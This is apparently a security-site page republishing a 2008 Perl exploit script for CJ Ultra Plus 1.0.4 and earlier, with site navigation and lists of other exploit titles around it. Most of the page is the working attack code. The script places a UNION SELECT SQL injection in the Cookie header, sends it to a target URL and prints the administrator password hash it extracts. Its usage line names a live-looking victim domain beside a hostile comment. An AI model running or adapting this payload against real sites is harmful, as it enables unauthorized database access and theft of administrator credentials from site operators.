首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CJ Ultra Plus <= 1.0.4 Cookie Remote SQL Injection Exploit
来源:ICQ - 266836394 作者:SmoG 发布时间:2008-09-23  
#!/usr/bin/perl
#
# CJ Ultra Plus <= v1.0.4 Cookie SQL Injection
#
# found and coded by -SmoG-  /\GermAn hAckZ0r
# contact: ICQ - 266836394
#
#
#
#
# hints: - sometimes the parameter "SID" is different to the normal one...
# - i extract the hash from the html-code... but i was 2 lazy for coding a good working filter
# - salted DES (normaly "aa" will be the salt, but it can be different)
# - ive spend about 1 hour for this source... its my first exploit in perl... so plz be friendly with ur feedback...
#
#
# >>> GretzZz 2: pronoobz.org - Wesker, China Sun and all other memberZz <<<

use LWP::UserAgent;

if ($#ARGV+1 !=1) {
print "\n### CJ Ultra Plus <= v1.0.4 Cookie SQL Injection Exploit###\n";
print "found and coded by -SmoG-\n";
print "\n\nUsage: perl xploit.pl -victim\n";
print "       perl xploit.pl http://gayxboy.com/\n\n"; #LiVe-Dem0! letZz pwnz the pedophile!!
exit();
}
print "\n### CJ Ultra Plus <= v1.0.4 Cookie SQL Injection Exploit###\n";
print "\nstarting exploit...";
$target=$ARGV[0];
chomp($target);
if($target !~ /^http:\/\//)
{
$target = "http://".$target;
}
if($target !~ /\/$/)
{
$target .= "/";
}
@header = ('Cookie' => "SID='UNION SELECT b12 from settings/*");
$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");
$response = $ua->get($target, @header);
if ($response->is_success)
{
$temp = $response->content;
if ($temp =~/(.*)SID=(.*);/)
{
$result=substr($temp,85,13);
print "\n\adminhash: "; print $result;
}
}
else
{
die "Error: ".$response->status_line;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Debian Sarge Multiple IMAP Ser
·iGaming CMS <= 1.5 Multiple Re
·Sagem Routers F@ST Remote CSRF
·Rianxosencabos CMS 0.9 Remote
·WSN Links Free 4.0.34P (commen
·BurnAware NMSDVDXU ActiveX Rem
·WCMS v.1.0b Arbitrary Add Admi
·Google Chrome Browser Carriage
·PHP iCalendar <= 2.24 (cookie_
·Libra PHP File Manager <= 1.18
·ICONICS Vessel / Gauge / Switc
·LanSuite 3.3.2 (fckeditor) Arb
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved